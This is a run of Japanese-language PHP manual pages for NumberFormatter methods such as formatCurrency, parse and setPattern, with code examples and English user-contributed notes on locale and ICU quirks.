通貨の値をフォーマット規則にしたがってフォーマットします。

パラメータ

fmt

NumberFormatter オブジェクト。

value

通貨の値。

currency

使用する通貨を表す、3 文字の ISO 4217 通貨コード。

返り値

通貨の値をフォーマットした文字列を返します。 失敗した場合に false を返します

例

例1 numfmt_format_currency() の例

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::CURRENCY );
echo numfmt_format_currency($fmt, 1234567.891234567890000, "EUR")."\n";
echo numfmt_format_currency($fmt, 1234567.891234567890000, "RUR")."\n";
$fmt = numfmt_create( 'ru_RU', NumberFormatter::CURRENCY );
echo numfmt_format_currency($fmt, 1234567.891234567890000, "EUR")."\n";
echo numfmt_format_currency($fmt, 1234567.891234567890000, "RUR")."\n";
?>

例2 オブジェクト指向の例

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::CURRENCY );
echo $fmt->formatCurrency(1234567.891234567890000, "EUR")."\n";
echo $fmt->formatCurrency(1234567.891234567890000, "RUR")."\n";
$fmt = new NumberFormatter( 'ru_RU', NumberFormatter::CURRENCY );
echo $fmt->formatCurrency(1234567.891234567890000, "EUR")."\n";
echo $fmt->formatCurrency(1234567.891234567890000, "RUR")."\n";
?>

上の例の出力は以下となります。

1.234.567,89 ?
1.234.567,89 RUR
1 234 567,89?
1 234 567,89р.

参考

  • numfmt_get_error_code() - フォーマッタの直近のエラーコードを取得する
  • numfmt_format() - 数値をフォーマットする
  • numfmt_parse_currency() - 通貨をパースする

User Contributed Notes

Patanjali 26-Dec-2019 12:56
This function is typically over a 1000 times slower on the first run in a php session compared to subsequent runs, and that is using a newly created formatter each time.

Timings for the first run have been from 60ms to 195ms, whereas subsequent runs are well under 100us.

For comparison, creating the formatter takes about 100us.
Anonymous 03-Sep-2017 08:25
formatCurrency() does not follow international standard for currency decimal, published here : https://www.currency-iso.org/en/home/tables/table-a1.html.

To define decimal I found that we need to use format() function after setting some NumberFormat attributes.

For example "COP" (Colombian peso) if defined to use 2 decimals, but NumberFormat::formatCurrency() use 0 decimal for this currency (I do not know why!).

Here is the code I use :

$fmt = new \NumberFormatter( 'fr', \NumberFormatter::CURRENCY);
$fmt->setTextAttribute( $fmt::CURRENCY_CODE, 'COP' );
$fmt->setAttribute( $fmt::FRACTION_DIGITS, 2 );
$numberString = $fmt->format( 1234.56 );

The output is: 1 234,56 $CO

If locale change to 'en' then the output is : COP1,234.56
andrewfenn at gmail dot com 09-Apr-2017 09:30
Currency symbols seem to have spurious support.

Take for example the Thai Baht symbol.. ? which doesn't seem supported in the Thai locale, but is in other locales such as Chinese Simplified..

<?php
$fmt = new NumberFormatter('th_TH', NumberFormatter::CURRENCY);
echo $fmt->formatCurrency(100, 'THB');
// Outputs: THB 100

$fmt = new NumberFormatter('zh_Hans', NumberFormatter::CURRENCY);
echo $fmt->formatCurrency(100, 'THB');
// Outputs: ? 100
?>
Benoit Borrel 12-Nov-2015 07:01
When setting the pattern, don't forget that space character between currency symbol and number (either as prefix or suffix) should not be breakable (like &nbsp; for HTML). For example, in UTF-8 you should use the no-break-space character ("\xC2\xA0"):
<?php
$fmt = new NumberFormatter('en_US', NumberFormatter::CURRENCY);
$fmt->setPattern(str_replace('?#',"?\xC2\xA0#", $fmt->getPattern()));
?>
idragosalex 04-May-2015 11:58
It seams that for currency symbols that contain the dollar sign '$' the resulting formatted number is broken: 95.23 is formatted .23 instead of $95.23. As a workaround, you need to modify the pattern by adding a space:

<?php
$fmt = new NumberFormatter('en_US', NumberFormatter::CURRENCY);
$fmt->setTextAttribute(NumberFormatter::CURRENCY_CODE, 'CAD');
$fmt->setPattern( str_replace('?#','? #', $fmt->getPattern() ) );
echo $fmt->formatCurrency(100, 'CAD');
?>
mail at cebe dot cc 30-Mar-2015 04:18
The note about different formatting[1] actually does not depend on the PHP version but on the version of the icu library[2] that PHP is compiled against because this library has a database with formatting rules for the different locales.

[1]: http://php.net/manual/en/numberformatter.formatcurrency.php#116610
[2]: http://site.icu-project.org/
Tyler Crompton 29-Jan-2015 08:05
This had me scratching my head. When working with certain English locales (e.g. "en_US" and "en_CA" among others but certainly not all), it is important to note that negative numbers are formatted differently between PHP 5.5 and PHP 5.6.

Code:

<?php

$formatter = new NumberFormatter('en_US', NumberFormatter::CURRENCY);
echo $formatter->formatCurrency(-0.99, 'USD'), PHP_EOL;

$formatter = new NumberFormatter('en_CA', NumberFormatter::CURRENCY);
echo $formatter->formatCurrency(-0.99, 'USD'), PHP_EOL;

?>

Output from PHP 5.5:

-$0.99
-US$0.99

Output from PHP 5.6:

($0.99)
(US$0.99)
martin t holzhauer dohd eu 13-Feb-2014 02:37
When you want to format currency's without sub units and the currency is not the one used by the given locale you need to set the currency code before as TextAttribute _BEFORE_ setting the NumberFormatter::FRACTION_DIGITS

<?php
$fmt = new NumberFormatter('en_US', NumberFormatter::CURRENCY);
$fmt->setTextAttribute(NumberFormatter::CURRENCY_CODE, 'EUR');
$fmt->setAttribute(NumberFormatter::FRACTION_DIGITS, 0);
$fmt->formatCurrency(100, 'EUR');
?>
Ruben 25-Oct-2012 05:40
While this function accepts floats for currency (in order to display cents), you should (for applications where this is critical) never store or handle money using floats, as rounding errors may occur. Work with integers (or a BigInt class if integers aren't large enough) internally instead, where the integer represents the total number of cents. An alternative (especially if you need more precision than cents) is using the BC (Binary Calculator) Math module, that handles arbitrary precision numbers with 100% accuracy.


数値をフォーマットする

  • ≪ NumberFormatter::formatCurrency
  • NumberFormatter::getAttribute ≫
  • PHP Manual
  • NumberFormatter
  • 数値をフォーマットする

NumberFormatter::format

numfmt_format

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

NumberFormatter::format -- numfmt_format — 数値をフォーマットする

説明

オブジェクト指向型

public NumberFormatter::format ( int|float $value , int $type = ? ) : string

手続き型

numfmt_format ( NumberFormatter $fmt , int|float $value , int $type = ? ) : string

数値をフォーマット規則にしたがってフォーマットします。

パラメータ

fmt

NumberFormatter オブジェクト。

value

フォーマットする値。int あるいは float で指定します。その他の型は数値に変換されます。

type

使用する フォーマット形式。

返り値

フォーマットした値を文字列で返します。 エラー時には false を返します。

例

例1 numfmt_format() の例

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
$data = numfmt_format($fmt, 1234567.891234567890000);
if(intl_is_failure(numfmt_format($fmt))) {
    report_error("Formatter error");
}
?>

例2 オブジェクト指向の例

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
$fmt->format(1234567.891234567890000);
if(intl_is_failure($fmt->getErrorCode())) {
    report_error("Formatter error");
}
?>

上の例の出力は以下となります。

1.234.567,891

参考

  • numfmt_get_error_code() - フォーマッタの直近のエラーコードを取得する
  • numfmt_format_currency() - 通貨の値をフォーマットする
  • numfmt_parse() - 数値をパースする

User Contributed Notes

There are no user contributed notes for this page.


属性を取得する

  • ≪ NumberFormatter::format
  • NumberFormatter::getErrorCode ≫
  • PHP Manual
  • NumberFormatter
  • 属性を取得する

NumberFormatter::getAttribute

numfmt_get_attribute

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

NumberFormatter::getAttribute -- numfmt_get_attribute — 属性を取得する

説明

オブジェクト指向型

public NumberFormatter::getAttribute ( int $attr ) : int

手続き型

numfmt_get_attribute ( NumberFormatter $fmt , int $attr ) : int

フォーマッタの数値属性を取得します。 数値属性の例としては、フォーマッタが作成する整数部の桁数などがあります。

パラメータ

fmt

NumberFormatter オブジェクト。

attr

属性指定子。 数値属性 定数のいずれか。

返り値

成功した場合に属性の値、エラー時に false を返します。

例

例1 numfmt_get_attribute() の例

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Digits: ".numfmt_get_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS, 2);
echo "Digits: ".numfmt_get_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

例2 オブジェクト指向の例

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Digits: ".$fmt->getAttribute(NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setAttribute(NumberFormatter::MAX_FRACTION_DIGITS, 2);
echo "Digits: ".$fmt->getAttribute(NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

上の例の出力は以下となります。

Digits: 3
1.234.567,891
Digits: 2
1.234.567,89

参考

  • numfmt_get_error_code() - フォーマッタの直近のエラーコードを取得する
  • numfmt_get_text_attribute() - テキストの属性を取得する
  • numfmt_set_attribute() - 属性を設定する

User Contributed Notes

There are no user contributed notes for this page.


フォーマッタの直近のエラーコードを取得する

  • ≪ NumberFormatter::getAttribute
  • NumberFormatter::getErrorMessage ≫
  • PHP Manual
  • NumberFormatter
  • フォーマッタの直近のエラーコードを取得する

NumberFormatter::getErrorCode

numfmt_get_error_code

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

NumberFormatter::getErrorCode -- numfmt_get_error_code — フォーマッタの直近のエラーコードを取得する

説明

オブジェクト指向型

public NumberFormatter::getErrorCode ( ) : int

手続き型

numfmt_get_error_code ( NumberFormatter $fmt ) : int

フォーマッタが直近に実行した関数のエラーコードを取得します。

パラメータ

fmt

NumberFormatter オブジェクト。

返り値

直近の関数コールのエラーコードを返します。

例

例1 numfmt_get_error_code() の例

<?php
$fmt  = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
$data = numfmt_format($fmt, 1234567.891234567890000);
if(intl_is_failure(numfmt_get_error_code($fmt))) {
    report_error("Formatter error");
}
?>

例2 オブジェクト指向の例

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
$fmt->format(1234567.891234567890000);
if(intl_is_failure($fmt->getErrorCode())) {
    report_error("Formatter error");
}
?>

参考

  • numfmt_get_error_message() - フォーマッタの直近のエラーメッセージを取得する
  • intl_get_error_code() - 直近のエラーコードを取得する
  • intl_is_failure() - 指定したエラーコードが失敗を表すかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


フォーマッタの直近のエラーメッセージを取得する

  • ≪ NumberFormatter::getErrorCode
  • NumberFormatter::getLocale ≫
  • PHP Manual
  • NumberFormatter
  • フォーマッタの直近のエラーメッセージを取得する

NumberFormatter::getErrorMessage

numfmt_get_error_message

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

NumberFormatter::getErrorMessage -- numfmt_get_error_message — フォーマッタの直近のエラーメッセージを取得する

説明

オブジェクト指向型

public NumberFormatter::getErrorMessage ( ) : string

手続き型

numfmt_get_error_message ( NumberFormatter $fmt ) : string

フォーマッタが直近に実行した関数のエラーメッセージを取得します。

パラメータ

fmt

NumberFormatter オブジェクト。

返り値

直近の関数コールのエラーメッセージを返します。

例

例1 numfmt_get_error_message() の例

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
$data = numfmt_format($fmt, 1234567.891234567890000);
var_dump(numfmt_get_error_message($fmt));
?>

例2 オブジェクト指向の例

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
$fmt->format(1234567.891234567890000);
var_dump(numfmt_get_error_message($fmt));
?>

参考

  • numfmt_get_error_code() - フォーマッタの直近のエラーコードを取得する
  • intl_get_error_code() - 直近のエラーコードを取得する
  • intl_is_failure() - 指定したエラーコードが失敗を表すかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


フォーマッタのロケールを取得する

  • ≪ NumberFormatter::getErrorMessage
  • NumberFormatter::getPattern ≫
  • PHP Manual
  • NumberFormatter
  • フォーマッタのロケールを取得する

NumberFormatter::getLocale

numfmt_get_locale

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

NumberFormatter::getLocale -- numfmt_get_locale — フォーマッタのロケールを取得する

説明

オブジェクト指向型

public NumberFormatter::getLocale ( int $type = ? ) : string

手続き型

numfmt_get_locale ( NumberFormatter $fmt , int $type = ? ) : string

フォーマッタのロケール名を取得します。

パラメータ

fmt

NumberFormatter オブジェクト。

type

妥当なロケールあるいは正確なロケールのいずれか ( Locale::VALID_LOCALE, Locale::ACTUAL_LOCALE, respectively) を選択します。デフォルトは実際のロケールです。

返り値

フォーマッタの作成時に使用したロケールを返します。

例

例1 numfmt_get_locale() の例

<?php
$req     = 'fr_FR_PARIS';
$fmt     = numfmt_create( $req,  NumberFormatter::DECIMAL);
$res_val = numfmt_get_locale( $fmt, Locale::VALID_LOCALE );
$res_act = numfmt_get_locale( $fmt, Locale::ACTUAL_LOCALE );
printf( "Requested locale name: %s\nValid locale name: %s\nActual locale name: %s\n",
         $req, $res_val, $res_act );
?>

上の例の出力は以下となります。

Requested locale name: fr_FR_PARIS
Valid locale name: fr_FR
Actual locale name: fr

参考

  • numfmt_create() - 数値フォーマッタを作成する
  • numfmt_get_error_code() - フォーマッタの直近のエラーコードを取得する

User Contributed Notes

There are no user contributed notes for this page.


フォーマッタのパターンを取得する

  • ≪ NumberFormatter::getLocale
  • NumberFormatter::getSymbol ≫
  • PHP Manual
  • NumberFormatter
  • フォーマッタのパターンを取得する

NumberFormatter::getPattern

numfmt_get_pattern

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

NumberFormatter::getPattern -- numfmt_get_pattern — フォーマッタのパターンを取得する

説明

オブジェクト指向型

public NumberFormatter::getPattern ( ) : string

手続き型

numfmt_get_pattern ( NumberFormatter $fmt ) : string

フォーマッタが使用するパターンを取り出します。

パラメータ

fmt

NumberFormatter オブジェクト。

返り値

このフォーマッタが使用するパターン文字列、 あるいはエラー発生時に false を返します。

例

例1 numfmt_get_pattern() の例

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Pattern: ".numfmt_get_pattern($fmt)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_pattern($fmt, "#0.# kg");
echo "Pattern: ".numfmt_get_pattern($fmt)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

例2 オブジェクト指向の例

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Pattern: ".$fmt->getPattern()."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setPattern("#0.# kg");
echo "Pattern: ".$fmt->getPattern()."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

上の例の出力は以下となります。

Pattern: #,##0.###
1.234.567,891
Pattern: #0.# kg
1234567,9 kg

参考

  • numfmt_get_error_code() - フォーマッタの直近のエラーコードを取得する
  • numfmt_set_pattern() - フォーマッタのパターンを設定する
  • numfmt_create() - 数値フォーマッタを作成する

User Contributed Notes

There are no user contributed notes for this page.


記号を取得する

  • ≪ NumberFormatter::getPattern
  • NumberFormatter::getTextAttribute ≫
  • PHP Manual
  • NumberFormatter
  • 記号を取得する

NumberFormatter::getSymbol

numfmt_get_symbol

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

NumberFormatter::getSymbol -- numfmt_get_symbol — 記号を取得する

説明

オブジェクト指向型

public NumberFormatter::getSymbol ( int $attr ) : string

手続き型

numfmt_get_symbol ( NumberFormatter $fmt , int $attr ) : string

フォーマッタに関連づけられている記号を取得します。 フォーマッタでは、この記号で数値の中のロケールに依存する文字 (パーセント記号など) を扱います。 この API は、ルールベースのフォーマッタではサポートしていません。

パラメータ

fmt

NumberFormatter オブジェクト。

attr

記号指定子。 フォーマット記号 定数のいずれか。

返り値

記号文字列、あるいはエラー時に false を返します。

例

例1 numfmt_get_symbol() の例

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Sep: ".numfmt_get_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL, "*");
echo "Sep: ".numfmt_get_symbol($fmt, NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

例2 オブジェクト指向の例

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Sep: ".$fmt->getSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL, "*");
echo "Sep: ".$fmt->getSymbol(NumberFormatter::GROUPING_SEPARATOR_SYMBOL)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

上の例の出力は以下となります。

Sep: .
1.234.567,891
Sep: *
1*234*567,891

参考

  • numfmt_get_error_code() - フォーマッタの直近のエラーコードを取得する
  • numfmt_set_symbol() - 記号の値を設定する

User Contributed Notes

There are no user contributed notes for this page.


テキストの属性を取得する

  • ≪ NumberFormatter::getSymbol
  • NumberFormatter::parseCurrency ≫
  • PHP Manual
  • NumberFormatter
  • テキストの属性を取得する

NumberFormatter::getTextAttribute

numfmt_get_text_attribute

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

NumberFormatter::getTextAttribute -- numfmt_get_text_attribute — テキストの属性を取得する

説明

オブジェクト指向型

public NumberFormatter::getTextAttribute ( int $attr ) : string

手続き型

numfmt_get_text_attribute ( NumberFormatter $fmt , int $attr ) : string

フォーマッタに関連づけられているテキスト属性を取得します。 テキスト属性の例としては、正の数字のサフィックスなどがあります。 属性が理解できない場合は、エラー U_UNSUPPORTED_ERROR が発生します。 ルールベースのフォーマッタでは、 NumberFormatter::DEFAULT_RULESET および NumberFormatter::PUBLIC_RULESETS のみが使用できます。

パラメータ

fmt

NumberFormatter オブジェクト。

attr

属性指定子。 テキスト属性 定数のいずれか。

返り値

成功した場合に属性の値、あるいはエラー時に false を返します。

例

例1 numfmt_get_text_attribute() の例

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Prefix: ".numfmt_get_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX)."\n";
echo numfmt_format($fmt, -1234567.891234567890000)."\n";
numfmt_set_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX, "MINUS");
echo "Prefix: ".numfmt_get_text_attribute($fmt, NumberFormatter::NEGATIVE_PREFIX)."\n";
echo numfmt_format($fmt, -1234567.891234567890000)."\n";
?>

例2 オブジェクト指向の例

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Prefix: ".$fmt->getTextAttribute(NumberFormatter::NEGATIVE_PREFIX)."\n";
echo $fmt->format(-1234567.891234567890000)."\n";
$fmt->setTextAttribute(NumberFormatter::NEGATIVE_PREFIX, "MINUS");
echo "Prefix: ".$fmt->getTextAttribute(NumberFormatter::NEGATIVE_PREFIX)."\n";
echo $fmt->format(-1234567.891234567890000)."\n";
?>

上の例の出力は以下となります。

Prefix: -
-1.234.567,891
Prefix: MINUS
MINUS1.234.567,891

参考

  • numfmt_get_error_code() - フォーマッタの直近のエラーコードを取得する
  • numfmt_get_attribute() - 属性を取得する
  • numfmt_set_text_attribute() - テキスト属性を設定する

User Contributed Notes

There are no user contributed notes for this page.


通貨をパースする

  • ≪ NumberFormatter::getTextAttribute
  • NumberFormatter::parse ≫
  • PHP Manual
  • NumberFormatter
  • 通貨をパースする

NumberFormatter::parseCurrency

numfmt_parse_currency

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

NumberFormatter::parseCurrency -- numfmt_parse_currency — 通貨をパースする

説明

オブジェクト指向型

public NumberFormatter::parseCurrency ( string $value , string &$currency , int &$position = ? ) : float

手続き型

numfmt_parse_currency ( NumberFormatter $fmt , string $value , string &$currency , int &$position = ? ) : float

現在のフォーマッタを使用して、文字列を数値と通貨にパースします。

パラメータ

fmt

NumberFormatter オブジェクト。

currency

通貨名 (3 文字の ISO 4217 通貨コード) を受け取るパラメータ。

position

文字列中でパースを開始する位置のオフセット。 結果を返す際に、この値はパース終了時のオフセットを保持します。

返り値

パースした数値、あるいはエラー時に false を返します。

例

例1 numfmt_parse_currency() の例

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::CURRENCY );
$num = "1.234.567,89\xc2\xa0$";
echo "We have ".numfmt_parse_currency($fmt, $num, $curr)." in $curr\n";
?>

例2 オブジェクト指向の例

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::CURRENCY );
$num = "1.234.567,89\xc2\xa0$";
echo "We have ".$fmt->parseCurrency($num, $curr)." in $curr\n";
?>

上の例の出力は以下となります。

We have 1234567.89 in USD

参考

  • numfmt_get_error_code() - フォーマッタの直近のエラーコードを取得する
  • numfmt_parse() - 数値をパースする
  • numfmt_format_currency() - 通貨の値をフォーマットする

User Contributed Notes

info at mm-newmedia dot de 09-Jul-2017 11:08
In reply to daniel at danielphenry dot com example note beneath. The given example by Daniel returns false under PHP7.x, which is a normal behavior since NumberFormatter::parseCurrency() is a method for parsing currency strings. It is trying to split up the given string in a float and a currency.

While using strict types under PHP7 the following example makes it more clearer.

<?php
declare(strict_types=1);
namespace MMNewmedia;

$oParser = new \NumberFormatter('de_DE', \NumberFormatter::CURRENCY);
var_dump($oParser->parseCurrency("1.234.567,89\xc2\xa0?", $currency), $currency));
?>

This example returns: "float(1234567.89) string(3) "EUR"

This is the expected behavior.

The following example runs into a type error, which is absolutely right, since this method is vor parsing strings and not vor formatting floats into currency strings.

<?php
declare(strict_types=1);
namespace MMNewmedia;

try {
    $oCurrencyParser = new \NumberFormatter('de_DE', \NumberFormatter::CURRENCY);
    $currency = 'EUR';
    var_dump($oCurrencyParser->parseCurrency(1.234, $currency), $currency);
} catch (\TypeError $oTypeError) {
    var_dump($oTypeError->getMessage());
}
?>

This example returns "NumberFormatter::parseCurrency() expects parameter 1 to be string, float given".

If you want to parse floats into a currency string use the http://php.net/manual/en/numberformatter.formatcurrency.php method as shown in the next example.

<?php
declare(strict_types=1);
namespace MMNewmedia;

$oFormatter = new \NumberFormatter('de_DE', \NumberFormatter::CURRENCY);
var_dump($oFormatter->formatCurrency(1234567.89, 'EUR'));
?>

This returns string(17) "1.234.567,89 ?" as expected.
daniel at danielphenry dot com 29-Apr-2015 05:19
The given examples confused me a bit. This may be a bit more clear:

$region = 'en_US';
$currency = 'USD';
$formatter = new NumberFormatter($region, NumberFormatter::CURRENCY);
echo $formatter->parseCurrency(12543.67, $currency);

Responds with:

$12,543.67


数値をパースする

  • ≪ NumberFormatter::parseCurrency
  • NumberFormatter::setAttribute ≫
  • PHP Manual
  • NumberFormatter
  • 数値をパースする

NumberFormatter::parse

numfmt_parse

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

NumberFormatter::parse -- numfmt_parse — 数値をパースする

説明

オブジェクト指向型

public NumberFormatter::parse ( string $value , int $type = ? , int &$position = ? ) : mixed

手続き型

numfmt_parse ( NumberFormatter $fmt , string $value , int $type = ? , int &$position = ? ) : mixed

現在のフォーマット規則を使用して、文字列を数値にパースします。

パラメータ

fmt

NumberFormatter オブジェクト。

type

使用する フォーマット形式。デフォルトでは NumberFormatter::TYPE_DOUBLE を使用します。

position

文字列中でパースを開始する位置のオフセット。 結果を返す際に、この値はパース終了時のオフセットを保持します。

返り値

パースした数値、あるいはエラー時に false を返します。

例

例1 numfmt_parse() の例

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
$num = "1.234.567,891";
echo numfmt_parse($fmt, $num)."\n";
echo numfmt_parse($fmt, $num, NumberFormatter::TYPE_INT32)."\n";
?>

例2 オブジェクト指向の例

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
$num = "1.234.567,891";
echo $fmt->parse($num)."\n";
echo $fmt->parse($num, NumberFormatter::TYPE_INT32)."\n";
?>

上の例の出力は以下となります。

1234567.891
1234567

参考

  • numfmt_get_error_code() - フォーマッタの直近のエラーコードを取得する
  • numfmt_format() - 数値をフォーマットする
  • numfmt_parse_currency() - 通貨をパースする

User Contributed Notes

Rakasch 18-Dec-2018 11:41
'en_EN':

basically the first part is the language and the second part the region:
'en_EN' - english, England
'en_US' - english, United States

You can lookup the language tags like 'en_EN' here:
https://datahub.io/core/language-codes
see "ietf-language-tags"
helium73b at gmail dot com 21-Feb-2017 10:33
to parse English use this format: 'en_EN' .  I had to guess.  I have no idea where you would find these codes.

<?php
echo "<pre>";
$fmt = numfmt_create( 'en_EN', NumberFormatter::DECIMAL );
$num = "1,234,567.891";
echo numfmt_parse($fmt, $num)."\n";
echo numfmt_parse($fmt, $num, NumberFormatter::TYPE_INT32)."\n";
echo "</pre>";
?>

If this doesn't work well all I can say is it shouldn't work because it makes no sense that  you would repeat the code twice "en and EN" in one code.  Stuff that makes no sense is hard to guess.   I couldn't find a page that has these codes either.  I guess documentation is bound to be incomplete since it's so voluminous.  Documentation has a language and syntax unto itself yet there are no tutorials on understanding documentation.
rdohms at php dot net 06-Jul-2012 11:53
It interesting to note that the expected behavior for this function may change according to your ICU version.

In ICU 4.4.2 (standard for Ubuntu 10.* with PHP 5.3.5)

    With locale 'en', input of 100,1 returns 1001

In ICU 4.8.1 (standard for Ubuntu 12.* with PHP 5.3.10)

    With locale 'en', input of 100,1 returns "false"

Be sure to note your ICU version in phpinfo() to be sure you will get the expected output.


属性を設定する

  • ≪ NumberFormatter::parse
  • NumberFormatter::setPattern ≫
  • PHP Manual
  • NumberFormatter
  • 属性を設定する

NumberFormatter::setAttribute

numfmt_set_attribute

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

NumberFormatter::setAttribute -- numfmt_set_attribute — 属性を設定する

説明

オブジェクト指向型

public NumberFormatter::setAttribute ( int $attr , int $value ) : bool

手続き型

numfmt_set_attribute ( NumberFormatter $fmt , int $attr , int $value ) : bool

フォーマッタに関連づけられている数値属性を設定します。 数値属性の例としては、フォーマッタが作成する整数部の桁数などがあります。

パラメータ

fmt

NumberFormatter オブジェクト。

attr

属性指定子。 数値属性 定数のいずれか。

value

属性の値。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 numfmt_set_attribute() の例

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Digits: ".numfmt_get_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS, 2);
echo "Digits: ".numfmt_get_attribute($fmt, NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

例2 オブジェクト指向の例

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Digits: ".$fmt->getAttribute(NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setAttribute(NumberFormatter::MAX_FRACTION_DIGITS, 2);
echo "Digits: ".$fmt->getAttribute(NumberFormatter::MAX_FRACTION_DIGITS)."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

上の例の出力は以下となります。

Digits: 3
1.234.567,891
Digits: 2
1.234.567,89

参考

  • numfmt_get_error_code() - フォーマッタの直近のエラーコードを取得する
  • numfmt_get_attribute() - 属性を取得する
  • numfmt_set_text_attribute() - テキスト属性を設定する

User Contributed Notes

There are no user contributed notes for this page.


フォーマッタのパターンを設定する

  • ≪ NumberFormatter::setAttribute
  • NumberFormatter::setSymbol ≫
  • PHP Manual
  • NumberFormatter
  • フォーマッタのパターンを設定する

NumberFormatter::setPattern

numfmt_set_pattern

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

NumberFormatter::setPattern -- numfmt_set_pattern — フォーマッタのパターンを設定する

説明

オブジェクト指向型

public NumberFormatter::setPattern ( string $pattern ) : bool

手続き型

numfmt_set_pattern ( NumberFormatter $fmt , string $pattern ) : bool

フォーマッタが使用するパターンを設定します。 ルールベースのフォーマッタでは使用できません。

パラメータ

fmt

NumberFormatter オブジェクト。

pattern

» ICU DecimalFormat ドキュメント で述べられている構文によるパターン。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 numfmt_set_pattern() の例

<?php
$fmt = numfmt_create( 'de_DE', NumberFormatter::DECIMAL );
echo "Pattern: ".numfmt_get_pattern($fmt)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
numfmt_set_pattern($fmt, "#0.# kg");
echo "Pattern: ".numfmt_get_pattern($fmt)."\n";
echo numfmt_format($fmt, 1234567.891234567890000)."\n";
?>

例2 オブジェクト指向の例

<?php
$fmt = new NumberFormatter( 'de_DE', NumberFormatter::DECIMAL );
echo "Pattern: ".$fmt->getPattern()."\n";
echo $fmt->format(1234567.891234567890000)."\n";
$fmt->setPattern("#0.# kg");
echo "Pattern: ".$fmt->getPattern()."\n";
echo $fmt->format(1234567.891234567890000)."\n";
?>

上の例の出力は以下となります。

Pattern: #,##0.###
1.234.567,891
Pattern: #0.# kg
1234567,9 kg

参考

  • numfmt_get_error_code() - フォーマッタの直近のエラーコードを取得する
  • numfmt_create() - 数値フォーマッタを作成する
  • numfmt_get_pattern() - フォーマッタのパターンを取得する

User Contributed Notes

Crash 02-Oct-2020 10:27
If you're looking for the pattern syntax, their documentation is here: http://unicode.org/reports/tr35/tr35-numbers.html#Number_Format_Patterns
Anonymous 06-Jun-2019 02:22
setPattern appears to influence only the behavior of the format method, not the parse method of the NumberFormatter object.

